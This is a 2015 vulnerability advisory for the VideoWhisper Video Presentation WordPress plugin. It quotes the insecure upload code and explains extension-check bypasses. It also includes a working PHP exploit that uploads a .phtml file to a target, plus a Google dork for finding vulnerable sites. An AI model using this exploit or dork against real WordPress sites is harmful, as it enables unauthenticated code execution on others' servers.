Title: Remote file upload vulnerability in wordpress plugin
videowhisper-video-presentation v3.31.17
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/plugins/videowhisper-video-presentation/
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-29, won’t fix
http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Description: VideoWhisper Video Consultation is a web based video communication
solution designed for online video consultations, interactive live
presentations, trainings, webinars, coaching and online collaboration with
webcam support. Read more on WordPress Video Presentation plugin home page.
Vulnerability:
From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php
*Update* You can directly execute php by uploading file extension ending in
.phtml or .rhtml as long as the extension isn't defined in the
apache mime.types.
Allows various remote unauthenticated file uploads, among the file types is
html where the last 4 characters are only being checked
in a file name to match which types are allowed. Because of this .shtml can be
passed through and remote code execution is SSI is
allowed. The code does not do any user access validation and therefore anyone
can upload the following files to an unsuspecting
wordpress site:
.shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps
The if (strstr($filename,'.php')) exit; can be by passed by using the extension
.Php but the file extension check would allow
files like test.Php.shtml
<?php
if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['name'];
include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;
if (strstr($filename,'.php')) exit;
//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;
$destination="uploads/".$room."/";
if ($_GET["slides"]) $destination .= "slides/";
$ext=strtolower(substr($filename,-4));
$allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps");
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'],
$destination . $filename);
?>loadstatus=1
CVEID:
OSVDB:
Exploit Code:
<?php
$uploadfile="upexp.phtml";
$ch =
curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php";);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('vw_file'=>"@$uploadfile",'name'=>'upexp.phtml','room'=>'.'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
upexp.phtml
<?php
phpinfo();
?>
The executeable should be located in
wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.
Google Dork: inurl:/wp-content/plugins/videowhisper-video-presentation/
